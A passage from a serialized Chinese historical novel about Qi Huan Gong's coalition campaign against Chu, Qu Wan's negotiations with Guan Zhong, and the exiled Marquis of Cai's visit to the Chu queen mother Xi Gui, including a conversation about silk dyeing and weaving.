说话的人就是胖子蒍吕臣,字叔伯。他是楚武王小弟蒍章的儿子。个头不高,胖呼呼的脸上平常总带着笑意。今天却一脸严肃。
蒍氏在朝中一贯沉默低调,年近四十的蒍吕臣却违逆楚成王的心意,力主求和,没想到得到了屈完的赏识。
“上大夫之言谬矣!中原诸侯久欲灭我大楚,何曾念血缘之亲?我蛮夷也,不与中原诸侯亲,必一战而决高下!”斗宜申的眼珠泛出黄褐色。
“昔周昭王十万大军南征,我尚不惧,何惧那齐侯?”成得臣自信地说道。
一直犹豫的斗勃见主帅态度如此坚决,只好保持沉默。
“大**断!”众将见主帅一意主战,气势更盛!
斗谷於兔也说道:“大王,中原不容大楚,欺我已久,今欲与降,大楚必世代向中原垂首贴耳,必欲一战,以报先祖之仇!”
“不可!”
只见屈完上前一步,高声说道:“大王,中原以德为重,以礼为先。齐侯领兵来伐,只因我失礼在前也。若大王以礼待之,战祸可免也。”
大家一听,都不出声了。楚虽南蛮,却也沐浴过中原的德礼,抢亲抢到齐桓公的头上,确实太过份了!但这话也只有屈完敢说。他的祖父屈瑕,父亲屈重,都为楚国征战一生,惨死疆场。祖孙三代立下赫赫战功,名望百年。且楚成王的王位,还是屈完帮助夺来的,大家都望着楚成王。
“莫敖意欲如何?”熊恽既觉理亏,也觉胜算不大,便问道。
“遣使往聘齐侯,探其虚实,再作打算不迟!”
楚成王一听,这也是个办法。先礼后兵,君子之道。立即问道:“谁愿为使,往聘齐侯?”
可众臣一片默然!主战派不愿讲和,其他人不知齐桓公的底细,不敢前往。
君臣沉默片刻,屈完上前说道:“为国赴难,臣之责也。臣愿前往探明实情,再作决断。”
子文无奈点点头,说道:“莫敖大义!大王,此行非莫敖不可!”
莫敖为三军统帅,其地位和声誉足以为使。楚成王欣然说道:“如此甚好!”他站起身来说道:“各位公卿,各位宗伯,速回各处,早作准备!令尹与子玉领中军守于方城;左右二军入申、息二县严守不怠!各县县尹皆须尽起县卒,前往汉水沿途驻守,不可懈怠!”
“臣等遵命!”众臣迅速散去。
第11章 联军暗潮汹涌
就在蔡穆侯逃走的第二天清晨,竖貂率领齐国前军攻入无人防守的上蔡城。下午,他便得意洋洋地来到大军驻地迎接齐桓公入城。
齐桓公兴奋地走出大帐,对竖貂说道:“速报仲父,与寡人偕同入城!”说着,自己登上华贵的金辂,站立车前,向北门缓缓驶去,三千卫士的战车立即跟了上来。
车到北门,管仲的辂车也已驾临。齐桓公大声对管仲说道:“竖貂一日破城,大吉之兆也!仲父与寡人并辔入城!”
管仲优雅地站了起来,脸上露出勉强的笑意,拱手说道:“谢君上美意!然竖貂如何能一日破城?”
齐桓公只顾高兴,却忘了深究这个问题,立即回望乘战车伴驾而行的竖貂。
竖貂惊慌地说道:“蔡人素惧齐国虎威,一战即溃!”
管仲立即问道:“蔡侯何在?”
竖貂只好如实答道:“蔡侯并夫人、世子俱不见踪影,料已逃走!”
攻城是最难的战斗方式,世界上谁能一天就攻下一国都城?管仲早就怀疑竖貂与蔡侯之间有猫腻,便问道:“汝一日破城,蔡侯如何能逃?”
“料那蔡侯自知不敌,早就弃城而去!”竖貂只好如实说道。
“蔡军弃城,汝不战而入,是否?”管仲死死盯住竖貂,那明亮的大眼仿佛要把他看透。
齐桓公却觉得没什么不妥,笑道:“哈哈,那姬肸自知有罪,想必逃往楚国,待我大破楚军,看他逃往何处!”
“君上,那姬肸必然得知中原诸侯伐楚之谋,若告之楚王,楚国必然有备,战则难也!”管仲一针见血地说道,又转眼瞥了竖貂一眼。
竖貂感到自己的五脏六肺都被管仲看透,再也无言以对。可事已至此,深究还有何用?管仲不愿扫齐桓公的兴,令车驾驱马上前,与齐桓公并辔而入。
车到蔡宫门前,他先于齐桓公下车,走了过去,说道:“君上,姬肸逃楚,此战必然凶险!”
齐桓公也感到事态严峻!此次是以伐蔡为幌子,目的是对楚国攻其不备。蔡侯与中原诸侯相识,就算竖貂不告密,他也可以从陈国、许国或其他诸侯那里得知实情。楚国如果早早备战,南方群山连绵,河湖沟壑纵横交错,如果处处设伏,联军的胜算还剩多少?齐桓公一下忧虑起来。
大家默默无语地进入蔡宫大殿,殿内空无一人。有将士来报:整个后宫之人全都逃走了。齐桓公一屁股坐在蔡侯的君位上,不发一言。
凭心而论,他此次伐楚,并不单纯是为报夺妻之恨,而是遵守对东夷诸国的承诺,保卫中原,以尽霸主之责!
他是齐国的第十五代君主,名叫小白,是父亲齐僖公三个儿子中最小的一个。他一上位,便拜管仲为相,采用管仲提出的“尊王攘夷”的国策,开始了称霸之路!
尊王,就是令天下诸侯以天子为尊,服从号令;攘夷,就是共同抗击四夷。当时,要把你争我夺、一盘散沙的中原诸侯团结在一起抗击四夷,只有齐国做得到。
二十多年来,齐桓公存刑救卫,分沟礼燕,九合诸侯,一匡天下!成为中原心悦诚服的霸主。现在,西戎、北狄之患已除,东夷最有势力的徐国、黄国和江国都与齐国结盟,已不足为患。只有南蛮楚国,成为中原最大的威胁。如果扫平楚国,中原将安定无忧,齐桓公将**。
但是,蔡穆公逃往楚国,楚人必定严阵以待!两强相斗,齐桓公感到胜负难料。当年,周昭王十万大军伐楚,尚且丧师江南,昭王溺水而死。今日的楚国,不知比当年要强多少!如若战败,他一世英名将付之流水。而中原,将被楚人吞噬!
“宋公到!”正当他忧虑之际,有人在宫外喊道。
齐桓公赶紧起身,与管仲一起出宫门迎接。刚好与大步赶来的宋桓公御说碰面。齐桓公高兴地说道:“宋公来得最早,果然有信!”
“齐侯已攻克上蔡,御说来迟也!”只见他身穿黑白相间的衮服,身材颀长,高高的鼻梁,一双大眼柔和明亮。见到管仲,笑着说道:“敝国之师,驻于城外,专候管卿调遣!”
“宋公果然信义卓著,此战何愁不胜!”管仲上前说道。
“闻蔡侯已逃往楚国?”宋桓公脸上显出一丝忧色。
管仲点点头。
“那郑伯也暗中结楚,管卿当心!”宋桓公提醒道。
齐桓公与管仲一听,茫然无语。郑国也是伐楚的八大主力之一,如果郑为内奸,战局更难预料。
就在这时,鲁僖公与上卿季友也来了。三人转忧为喜,奔下台阶相迎。
鲁僖公姬申,是鲁国故君鲁庄公的幼子。他原本也没有资格为君。六年前,鲁庄公因病去世,四弟季友遵大哥的遗命,扶立大哥的长子公子般为君,却被二哥庆父杀害。庆父立大哥的次子启方为君,他就是鲁闵公。可鲁闵公讨厌庆父大权独揽,又被庆父杀害。齐国大夫孙湫对齐桓公说道:“庆父不死,鲁难未已!”齐桓公便以霸主的身份,支持季友扶立庄公的第三子姬申为君,他就是鲁僖公。庆父连杀二君,作恶太多,众叛亲离,最后被逼**。
季友是鲁国安定的基石。在中原与管仲齐名。传说他一出生,巫人就占卜说“季友亡,则鲁不昌!”管仲一见季友,如遇知己,敬佩地说道:“上卿两定鲁国,贤名卓著,夷吾久仰!”管仲字仲,名夷吾。
“管相辅佐齐侯,号令诸侯,一匡天下,谁不敬仰?”季友更是对他钦佩之至。
两人哈哈大笑。一阵寒暄之后,管仲面色严峻地问他:“上卿以为,此战胜负如何?”
季友个子不高,单瘦的身材,双眼却明亮、坚毅。他说道:“此战必胜!然楚人执拗,难臣服也!”
管仲点点头。他的目的
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,并非要消灭楚人,而是要楚人臣服。听了季友的话,他沉默片刻,问道:“若然,如之奈何?”。
“楚虽南蛮,亦为祝融之裔,若剿抚并用,以王道使之归化,则同为诸夏兄弟,可共护中国,不亦可乎?”
“上卿果然胸襟如海,某不及也!”管仲果然找到了知音。
“管相素来招抚以礼,亦有此意乎?”季友也猜到了他的心事。
管仲不回答,只优雅地笑了起来。
不久,陈宣公妫杵臼、卫文公姬毁、曹昭公姬班相继赶来。众诸侯难得相会,寒暄不止。突见一个白白胖胖的人笑容可掬地赶来,见人就点头哈腰。管仲一看,是郑文公姬捷,立即走了上去,试探地说道:“郑伯一路辛劳!闻尊先君与楚交厚,不知楚军战力如何?”
“先考在世之时,楚人侵我边地,夺我栎城!岂能与楚交厚?先考之仇,寡人必报!”郑文公一副苦大仇深的模样。
他的父亲郑厉公在世时,楚人确实攻占了郑国的栎城。但郑厉公却私下与楚文王讲和,暗中与楚结盟,楚国这才撤军。实际上,郑文公继位后,仍然维护着郑楚之盟,故楚国北方邻国不是被灭,就是受伐,而郑国却安然无恙。中原诸侯心知肚明,而郑文公却将这些撇得一干二净。
“郑伯欲报父仇,此战必胜!郑军可为前锋?”管仲再试。
心虚的郑文公却笑靥如花,说道:“谨遵齐侯之命!”不管任前锋还是当后卫,他都有办法脱身。
管仲还想试探,忽然许军派人来报:许男薨逝了!
管仲心中一惊!大战未开,就有诸侯谢世,顿有不祥之感。
许穆公在位的三十一年,正值郑国统治许国,财富被郑国劫掠殆尽,国家贫弱不堪的年代。他的夫人是卫国公主,史称许穆夫人。许穆夫人有三姐妹,闻名中原。大姐嫁给了齐桓公;二姐嫁给了宋桓公。都是富豪。只有她,嫁给了这个许国穷鬼!当卫国遭受北狄屠戮时,齐、宋军星夜驰援,后又慷慨相助。可许国却无动于衷,连母鸡都没送一只。齐、宋、许三国连襟,可与两个姐姐相比,她多没面子啊!难怪嫁人要嫁富豪!许穆夫人在无奈之际写下《载驰》一诗,抒发对母国的思念和对许国的怨恨,弄得中原尽知,许穆公也颜面丧尽。此诗也被选入《诗经》之中。现在,中原诸侯联合南征,他再不参与,就要被中原抛弃了!故以老迈之躯率军前来。但他受不起路途颠簸,刚到上蔡就去世了。
管仲奏请齐桓公,以侯爵之礼为许穆公举葬。周礼规定,诸侯死于朝会,葬礼加爵一等;诸侯死于王事,加爵二等。礼乐征伐自天子出,中原伐楚当然是王事,故加爵二等。许穆公是男爵,以侯爵之礼送回许国安葬。其子姜业继位,是为许僖公。
处理完许男丧事,齐桓公率联军直奔楚国申县的方城
第12章 屈完只身会齐侯
当齐桓公率领十万大军铺天盖地汹涌急驰,逼近申县北境的陉(xíng形)地(今河南偃城南)时,忽见一辆高大的辂车迎面而来。辂车之上,大书写有楚字的红色旗帜。一名中年男子扶轼伫立,气宇轩昂。只见他头戴高高的切云冠,全身一袭黑袍,一双大而深邃的眼睛,冷峻坚毅。辂车驶至齐桓公的大纛之前缓缓停下,那人对着齐桓公揖手致礼,问道:“大纛之下,金辂之上,可是中原方伯齐侯殿下?”
“汝是何人,敢挡我中原大军?”齐桓公见此人如此大胆,大声喝斥道。
“外臣楚使屈完,奉我王之命,特来迎候齐侯!”屈完声音洪亮,语气激扬。
“原为楚国若敖!孤身挡我十万大军,胆魄过人也!”管仲站在华丽的辂车之上,大声说道。
“丰神秀面,气宇非凡,果为管卿乎?”屈完竭尽礼仪。
“莫敖孤身前来,所为何事?”管仲正要探探楚国的底细。
“我王令外臣有问齐侯:‘君处北海,寡人处南海,惟是风马牛不相及也,不料君之涉吾之地,不知何故?’”
齐桓公一下愣住了。片刻,管仲正色答道:“昔大周天子加封吾先君太公于东海之滨,令太保召公赐命曰:‘天下五等诸侯,九州之伯,皆可征讨,以佑王室!’赐我先君西至黄河,南及穆陵,北达无棣,皆可征也!楚不贡苞茅,致使天子祭天,无以滤酒,故来征讨!昭王南征,一去不返,故来问罪!”
中原十万大军,就为几根苞茅前来征讨?至于周昭王南征,溺水而死,那已是几百年前的事了,凭什么现在来问罪?屈完先是意外,待沉思片刻。似乎心领其意,答道:“幽王失宗周,致宣王东迁,朝纲废驰,不朝贡者众矣,岂独楚国?然则,不贡苞茅,敝国之过也!方伯既至,我王敢不与供?致若昭王不返,乃舟胶不牢,船裂落水,为不测之祸,岂为楚人之过?君可至汉水之滨问之。”
管仲听屈完之言,有理有节,便跳下辂车,向前走来。屈完一见,立即下车迎了上去,拱手说道:“有劳管相徒步来迎!”
“楚人为颛顼之裔,与中原诸侯同出一脉,为何屡屡攻我城池,灭我邦国,抢我妻室?”管仲语意严峻,语气温和。
屈完一听,感到了中原的伤痛。但中原之人能否理解楚人的痛苦呢?他说道:“中原明知与楚同根,仍视我为南蛮,屡屡伐我,使我藏之山野,无立身之地也。致若抢**室,乃因楚有抢亲之俗也。我王年齿未暮,齐侯见谅。”
管仲点点头:“楚人欲重回中原乎?”
屈完也点点头:“回归中原,楚人之梦也。”
“楚欲回归中原,须尊天子,亲诸侯,革除陋**,**中原之礼!否则,战火无尽也。”
“管相明教,屈完谨记。大楚正欲如此!望管相回禀齐侯楚人曲衷,完亦将齐侯之愿回告我王,两家息兵罢战,共护中原,如何?”
“如此甚好,我当静候佳音。”
“管相宽心,我必有复。”屈完说完,徐徐而退。
管仲望着屈完的背影,回味着他说的话,久久不动。他知道,要像剿灭北狄和西戎那样剿灭楚人,是不可能的。正象季友所说,楚人也是颛顼之后,为华夏一脉,只要臣服大周王朝,和谐与共,解除中原的威胁,也就够了。
所谓“四夷”,是中原之人以自己血统和族群的优越感,对边境各族的鄙称。其实都是三皇五帝的后代。更何况,他已得知竖貂密会蔡使。今屈完只身来会,料定楚已备战。而前番许男身亡,郑伯结楚,都为不祥之兆。若强行用兵,胜负还很难说呢。
他禀报齐桓公,下令大军进入陉地驻扎,等候屈完回讯。
屈完回报楚成王,管仲有媾和之意。楚成王又举行大朝,请众臣商讨是战是和。
斗宜申听完屈完的叙述,说道:“楚王为何要贡周王?待打败联军,请周王来贡楚王!”
楚成王笑了起来,大堂一片哄笑。在当时,天下诸侯都称君,只有楚国称王,与东周天子二王并列!楚人也知道,中原诸侯只承认周王,不承认楚王。因此,许多楚人都像楚成王一样,梦想打败周王,以楚代之!
子玉说道:“那管仲欲报昭王之仇,此恨难解,大王无须犹豫,干脆与管仲约期一战!”
此时的楚国,已站到了命运的十字路口。如果迎战,无论胜败,双方都将死伤惨重。见大王还在犹豫,屈完说道:“楚不可以一国而抗天下诸侯!管仲之言,诚心可见。若我朝贡天子,化敌为友,则与中原诸侯结为兄弟,此为我楚人千年之愿也!”
屈完说的固然没错,如果由楚国主盟,与中原诸侯化敌为友,楚成王当然同意。但是,现在是城下之盟,主盟者必是齐桓公!楚国不但要臣服天子,还要听命于霸主,楚成王始终不甘心。他才二十多岁,正是意气风发,争强好胜的年龄。何况楚国自厉王、武王、文王到他自己,四代百年,还从未向任何人屈服过。他该怎么办?
众臣见大王犹豫不决,开始私议起来。有的要战,有的要和,声音越来越大。楚成王越听越烦,突然猛拍台案怒道:“散朝!”
蔡穆侯带着他的眷属住进伴月宫中,一颗悬着的心终于落地。伴月宫高大华丽,所有设施一应俱全。宽敞的大堂内,彩色的石壁,各种奇石磨成的地板,富丽堂皇。大堂左边,摆设着刀、枪、戈、戟等各种兵器,好像是楚国若敖或将军住过的地方。如此豪华的宫殿为什么空无人居?蔡穆侯感到奇怪。他登上楼台,只见左边一座镶金镀银的豪华宫殿,与伴月宫并肩而立。那金黄色的凌空飞檐,雕龙绘凤,极其华贵而秀美。他大吃一惊,难道这就是楚王所说的紫金宫?传说楚成王的母亲、那个被楚文王抢来的息妫夫人就住在这里。有了紫金宫,为什么还要建伴月宫?难道文王与夫人各住一宫?他摇摇头,这显然是不可能的。
这里离楚国的后宫不远,高大的红墙之内,自成一个独立的世界。宫前是一片开阔地,种满了桃树和桑树。树木中间,一条漆木画廊蜿蜒向前。不时有女人在画廊上来来去去。有的手捧蚕丝,有的拿着锦缎。画廊尽头,是一
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座秀丽的小山,山上亭台屋宇,隐约可见。他曾听说,楚文王还为息妫建有一个桃花洞,莫非就在那座山下?
蔡穆侯心中充满好奇,他下楼对夫人说道:“久闻楚先君文王为息妫所建紫金宫,华丽无比,竟与我毗邻!夫人见否?”
夫人点头笑了笑,问道:“夫君可知,紫金宫旁为何建有伴月宫?”
姬肸正迷惑不解,反问道:“为何?”
“伴月宫为楚先君文王之弟王子元所建。文王早逝,其弟王子元为令尹,他素慕嫂嫂美貌,誓欲娶之。可嫂嫂说道:‘吾一身二夫,已然不淑,岂可再嫁?’断然不允。谁知那王子元痴心成魔,便以权势在此再建伴月宫,伴依嫂嫂而居,每夜令乐士在宫中持戈而舞,想以乐舞打动嫂嫂之心。然而桃花夫人不为所动。王子元干脆用强,只身搬进紫金宫,弄得满朝文武震怒!众臣请年过八十的楚军射师斗廉前来劝阻。可王子元不但不听,反把老射师绑了起来!其子斗班闻讯,闯进紫金宫,一剑将王子元刺死!斗班惧其家人报仇,干脆一不做二不休,将其二子王孙游、王孙喜殿杀害!幼子王孙启闻讯逃往晋国。楚成王大怒,又将斗班一家全部诛杀!”
“那桃花夫人究竟有多美?如此众多诸侯公卿为之丧命?”姬肸想起自己的父亲也是因她而死,对她又恨又好奇。
“汝明日前去拜访,一看便知!”夫人揶揄道。
“时至今日,恐已老迈也!”姬肸不知夫人在取笑自己。
“闻桃花夫人风华绝代,容颜不老。不过,她是夫君的姨妈!”说完咯咯地放声大笑起来。
姬肸满脸尴尬,明白桃花夫人是母亲的妹妹,可他的好奇心还是被勾动了。
这时,蒍吕臣前来看望,送来许多帷帐、衾枕、盥匜及饮食器具。问道:“蔡侯屈居敝庐,可还安好?”
“多谢上大夫,一切安好。”蔡穆侯立即起身相迎,乘机问道:“久闻紫金宫前桃树万千,今日一见,为何多为桑树?”
“只为太后欲学嫘(lei雷)祖,养蚕织布,故将桃树砍去大半,改种桑树。桃花洞也改作了织坊。”蔡穆侯点点头。难怪园中有众多织女来往不断,心中不免对姨妈产生了一丝好感。
“联军将至,楚王可有方略?”他似乎清醒过来。
“大王欲战,若敖欲和,方略未定!”蒍吕臣如实说道。
“联军势众,若举棋不定,大势危也!”
“若敖已会齐侯,齐侯似有媾和之意。若如此,中原大幸也!”
蔡穆侯一听双方讲和,放下心来。但转念一想,如果和解,齐桓公会放过蔡国吗?他的心又提了起来。现在,他只能依靠楚国了。他眼珠一转,说道:“寡人欲见舍妹,请上大夫成全。”
“此乃人伦天理,大王必允。”蒍吕臣一口答应。刚说完,他突然想起一件事,说道:“闻蔡妃怀有身孕,可喜可贺!”
蔡穆侯一听大喜,说道:“既如此,寡人即刻入宫看望舍妹,劳上大夫引路!”蒍吕臣点点头,带着这夫妻俩进入王宫。(未完待续,下节更精彩)
第13章 姨甥深宫话织纺
此时的蔡妃在宫中静卧养胎。可是哥哥弃国投楚,齐桓公大兵压境,每天听到的都是令她沮丧的消息,这都是她惹的祸啊!她心情十分抑郁。闻报哥哥嫂嫂来访,立即起床,迎入后宫正堂。
“姬肸拜见王妃!”蔡穆侯进来,毕恭毕敬地躬身行礼道:“闻王妃身怀王嗣,可喜可贺也!”
蔡姬其实很挂念哥哥。但想到他弃国而逃,自己颜面尽失,不愿多说话,自己坐到主位之上,冷冷地说道:“君兄与嫂嫂请坐!”接着说道:“本应探望兄嫂,无奈身体不适!兄嫂一切可好?”
“上蔡已失,兄**来投,贤妹救蔡囯!”蔡穆侯装出一副可怜相。其实一进后宫,他心中暗暗高兴。大厅温馨富丽,妹妹背后的正墙上安放着一个巨大的神龛,神龛上供奉着一副凤凰的神牌,这无疑是后宫正堂,而坐在正堂主座上的妹妹,便是后宫之主啊!他当然脸上有光。
蔡姬却压力重重,见哥哥如此卑微,十分烦躁。但是,齐桓公伐蔡,是她自己招来的呀,怎能责怪哥哥?便说道:“我一妇人,如何救蔡?”
“若楚、齐言和,贤妹必求楚王为蔡复国!”
蔡姬一听,心里更加难受!联军伐楚,也是因为自己啊!自己为楚国带来如此巨大的危机,楚人能不怪罪她吗?她又怎么好开口向大王求情?她满腔苦衷,无以言表,只默然不语。正在这时,有内侍喊道:“太后驾到!”
三人立即站了起来,蔡姬出门迎接母后。蔡穆公夫妻肃立不动,向门口望去。
只见一位雍容华贵的妇人健步入门。她上穿一件蓝色锦绣短袄,下着黑色暗花长裙。丰满的身材性感迷人。可那深潭般的大眼,仍旧美如梦幻;那圆润的脸庞,依然红晕流淌。秀美的鼻梁,天然的红唇,静静流溢着妇人的无限丰韵。姬肸一下看傻了。
“卑妾恭迎母亲!”蔡姬恭敬地行礼道。
太后上下打量蔡姬,说道:“汝怀孕在身,不必多礼!”她言语柔和,脸上却无一丝笑意。
“有劳母亲牵挂,卑妾无碍。”
姬肸夫妻上前躬身行礼道:“见过太后!”
蔡姬立即介绍道:“此乃家兄和大嫂,前遇国难,刚来楚国。”
“肸儿?”太后打量着姬肸,温柔地喊道。
“姨妈——”姬肸心中涌出一股暖流。
“汝母亲可好?”太后急切地问道。
“母亲薨矣!”姬肸垂首站立,不敢多言。
太后眼睛泛出泪花,痛苦地说道:“姐姐不得安生,不如一死!”“姨母上坐!”姜姬趁机抚慰太后,把她扶到台案前的主位席
地坐下。蔡妃在左,姜姬与姬肸在右。月儿亲自上茶,然后躬身退走。
太后坐下,却一脸伤情,低头凝思。姜姬知道她在为姐姐难过,说道:“母亲临终之际,知晓妹妹嫁入楚国,可与姨妈朝夕相见,亦感欣慰也。”
太后瞟了蔡妃一眼,说道:“我观她性情,恰似其父!”
姜姬一惊!她也和母亲一样恨父亲,还牵连到妹妹啊!作为儿媳妇,她只好说道:“君父囚楚九年,亦为不幸,事过多年,万乞姨妈见谅。”
太后缓缓点头,说道:“一人放纵无礼,致全家受过,害国害家也。”
亲人见面,不能总吐怨言。姜姬为打破这尴尬的气氛,把话题引开道:“桃花坞中,见常有织女出入,姨妈可在养蚕织布?”
太后也不想计较过去的事了,说道:“桃花洞冬暖夏凉,正好织布。楚女善纺纱织布者众多,故召而成坊。”
“姨母之贤,堪比嫘祖也!”姬肸一见传说中的息妫,明白父亲当年为什么痴迷成祸。
“**闲来无事,聊作消遣而已,如何比肩嫘祖?”要知道,嫘祖可是黄帝的夫人。
聪明的蔡侯夫人又转移话题,说道:“我观姨母锦衣,织艺精细,染色匀和,此上乘织品也!可是齐锦?”
息妫点点头,下意识地摸了摸自己的上衣,情涩羞美地说道:“先王在世之时,闻中原流行齐锦,故令人去齐国买来。”
蔡侯夫人笑道点头道:“是也,中原女子出嫁,必以齐锦、齐纨缝制嫁衣为荣,宫中尤甚。”
“齐锦织纹繁美,织之不易也。”
“姨母自幼聪慧,必能织出上等锦衣。”
蔡妃见气氛变得轻松,立即说道:“瞧憔,我身上锦衣,便是母亲织纺所织。”
蔡侯夫人转头细看,说道:“果然纺线细密,染色通透,此等蓝色,匀称光滑,堪为上品也,姨母以何物染之?”
太后地说道:“小坊织品,多以石染。主以赭石、朱砂、石黄、空青并铅白等各色石粉,以白、灰、黑调之,便成此蓝色。”她停了停,问道:“不知中原以何染色?”
“中原也用石染,然多用草染。如妹妹锦衣之蓝,便用蓝靛染成。”
“中原蓝靛如何制出?”说到本行,太后来了兴致。
“我蔡宫织纺,先将蓝草竖在陶坑中,再加水过滤,又把滤水舀入瓮中,加上石灰,用木棍急打搅拌,慢慢便变成靛蓝。再让靛蓝沉淀,使水分蒸发,便是蓝靛。”
太后点点头:“草染比石染益加匀称、光泽。草皆有色,取之更易也。”
“是也,茜草染红,皂斗染黑,荩草染绿,紫草染紫,红花、苏方、郁金、栀子皆可取色,姨妈亦可用草染。”
太后笑道:“汝得中原染技,明日且去桃花洞教我,可好?”
姜姬忙笑着摆手道:“甥女岂敢言教?然想看看姨妈织纺。我见郢都街巷之人衣着多色,维美维艳,可见石染不逊草染也。”
“色虽多而织纹单一,小坊仅能织出平纹而已。不似齐国织纺,亦不如蔡国,纹路多样。”
“蔡国织纺先前亦仅织平纹而已,后齐国统领竖貂来蔡之时,赠我一匹斜纹起花绣绮,很是新鲜!便令宫纺仿织,勉强成布。”
桃花夫人果然眼睛一亮,好奇地问道:“汝能织出斜纹?”
“其实平纹与斜纹差别不大,将织机改成斜状,便可织出。闻齐国还能织出绞纹纱罗,中原艳羡不已。”
太后叹道:“齐国织斜纹、绞纹,如纺纱一般,”她转头看着蔡妃:“汝在齐国一年,可曾学到一鳞半爪?”
蔡妃一惊:“我,我在齐宫,如囚虏一般,不知织纺在何处。”
蔡夫人一听,这个婆婆对媳妇也太狠了,立即说道:“今见姨妈,如见母亲!鲁国所赠斜纹绣绮亦随身带来,容后转赠姨妈,以为谢礼!”
太后正要了解中原的织品,心中欢喜,说道:“多谢!寡人绣坊方秀出一花鸟纹绣红棕绢面,待后回赠。万勿推辞!”
太后不愿白受他人之礼,但神情一下温和起来。蔡夫人乘机说道:“闻花鸟为楚绣之最!多谢姨妈!姨妈婆媳有话,我等不再叨扰,就此告辞。”
太后立即起身,脸色变得亲切起来,她对姬肸说道:“治国不易,汝安心长住,无须太过忧心。”
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姬肸被感动了,躬身说道:“多谢姨妈!”说完慢呑吞地与夫人离去。
两人回到伴月宫,姬肸一言不发。夫人叹道:“姨妈潜心织绣,可敬可佩!”
“夫人为何急于要走?”蔡穆侯也意犹未尽。
“**之人,何颜与太后欢谈?恐自取其辱耳!”
“姨妈和颜悅色,并无恶意!”说完叹道:“如此年岁,尚风韵万千,况年少芳华之时!”
姜姬一听,讽刺道:“有其父,必有其子也!”
蔡穆侯的心思被他点破,尴尬地笑道:“太后探望小妹,待我亲昵,小妹可望封后也!”
“夫君不见小妹惧色?闻太后嫌弃小妹,今日探望,只为小妹有孕在身!”
蔡穆侯一惊,问道:“太后为何嫌弃舍妹?”。
“只因小妹为再嫁之身!”
“姨妈也为再嫁之身,为何嫌弃别人?”
“姨妈或也嫌弃自己,曾言道,楚国之人,为何都抢他人之妇?”
蔡穆侯默默点点头,这是他内心始终不敢面对的现实!楚王纵然大度,也不可能对妹妹的再嫁之身没有嫌隙,不然为何至今没有封后?但,如果妹妹生下嫡长子呢?
正如蔡夫人所言,太后并不喜欢蔡姬,只是她怀了自己的孙儿,才去看望她。等蔡侯夫妻离开,太后说道:“汝脸色忧郁,神情憔悴,如何养胎?”
“近日只觉头晕、恶心,不想进食,故脸色较差。”
“腹中胎儿可有动静?”
“胎儿也在腹中躁动不安,尤其夜晚!使我长夜难眠。”
“此子必为男儿!汝当静心敛性,安心保胎,勿受外事所扰。若顺利产下此子,必是大功一件!”
蔡姬点点头,说道:“谨遵母后懿旨!”
桃花夫人又详细询问了她的穿衣、饮食、睡觉、出行等繁琐的小事后,心事重重地离去。蔡姬感到母亲只关心胎儿,不关心自己。母国沦丧,君兄逃亡,齐桓公领八国联军来伐,烦心的事件件与她密切相关!她怎能不受困扰?若楚国败,她就是祸根,楚人能饶得了她吗?
母亲刚走,丈夫就进来了。他也神情严肃,一言不发,独自坐下,双眼望着屋顶出神。
这几天,丈夫对她寡言少语,让他感到十分恐惧。他是在怪罪自己吗?她想探问,又不知怎么开口,便亲自沏上一杯茶,送了过去,温柔地说道:“大王用茶。”
楚成王看都不看,只用左手指了指右边的红漆台案。蔡姬只好把茶放到台案上。
她忍受不了这样的沉默,想干脆对他挑明,便痛苦地说道:“贱妾乃不祥之人,一身二夫,皆为祸也!君王不必犹豫,若诛我残身,献于齐侯,联军必退!”说着,在他面前跪了下来。
楚成王这才知道她日夜战战兢兢,原来是自以为祸!立即将她扶起,说道:“此乃军国大事,楚、齐终有一战,非女流所能为,与爱妃何干?且放宽心!”
蔡姬两眼呆呆地望着他,难以相信他说的话。自己只是摇摇船,就差点被齐侯杀了。现在给楚囯惹来这么大的祸,夫王真的不怪自己吗?她心中满怀感恩,眼泪一下流了出来,双掌相合,对着神龛上凤凰的神牌祈祷道:“祈凤凰之灵保佑楚国!”
楚成王一惊!楚国遇到大事,都要问神占卜,为何他忘了呢?便起身喊道:“来人!”
内侍应声而入。楚成王说道:“令叔伯速往荆山,传国巫进宫!”(未完待续,下节更精彩)
第14章 召陵之盟气壮山河
荆山,位于武当东南,汉水之西,是楚人的发祥地,楚人心中的神山。阳春三月,正是桃红柳绿,山花烂漫的季节。蒍吕臣带着两位随从,一路向西,寻找隐居在荆山的国巫矞(yù喻)似。荆山的险峰峻岭都在西北面,山路崎岖难行。蒍吕臣一行走了一天,进入深山,根本不见人烟。天渐渐黑了,三人只好在一个小山洞中休息一晚,第二天天刚濛濛亮,他又下令出发。在荒无人迹的深沟浅壑中艰难前行。
蒍吕臣也是楚国王室的亲枝。他的父亲蒍章,就是楚武王熊通的四弟。楚武王熊通一共兄弟四人。大哥叫熊眴,人称蚡冒,嗣位为君。即楚厉王。武王熊通是老二,屈瑕是老三,蒍章最小。四兄弟中,老二熊通天份最高,但他不是嫡长子,没有继位资格。父亲熊坎在位六年就去世了,大哥熊眴继位时,熊通还年幼。但他成长的年代,正是周幽王**,西周灭亡,平王东迁的特殊历史时期。熊通敏锐地感到,周朝衰落,诸侯混战,正是楚国开疆拓土的最好时期。但大哥熊眴不与兵权,两兄弟势同水火,都拉拢三弟屈瑕。屈瑕成为大哥和二哥举足轻重的调停人。而当大哥病逝,二哥熊通杀侄自立,屈瑕更是委以莫敖之位。而四弟蒍章仍是无足轻重的多余的人。只有安份守己,事事小心。
蒍吕臣承袭了父亲的性格,敦厚老实,胆小怯弱。一生小心翼翼,任劳任怨。他胖乎乎的身材,圆圆的大脸,总是低眉顺目。文王在世时,既年轻又老实的他不受重用。但楚成王很喜欢这个叔叔,把宫中的事务全交给他管。
三人走到午时,只见群峰之中,一座山峰峻秀挺拔,山腰的白雾如玉带般缠绕,山上古木撑天,郁郁葱葱。蒍吕臣说道:“此山雄奇,俯瞰群峰,国巫必居于此。”
三人仔细观望,树林掩映之下,有一座木屋隐约可见。三**喜,沿陡峭的山路向上爬去。到达木屋前,却不见人影。蒍吕臣推开虚掩的木门,进去一看,陈设简陋的木屋内也空无一人。国巫去了哪里?三人分开,满山寻找。当蒍吕臣快到山顶时,只听一个清晰的声音传来:“白龙御驾,凤凰再生——”
声音柔绵悠远,似是某种谶语。蒍吕臣转身四顾,可山上空无一人。忽见远处有一棵又高又大的千年槐树。透过浓密的树叶,蒍吕臣看见槐树上一白发之人,高高坐于横枝之上,背靠树干,仰天凝视,嘴里念念有词。蒍吕臣心中一喜,拱手说道:“蒍吕臣拜见国巫!”
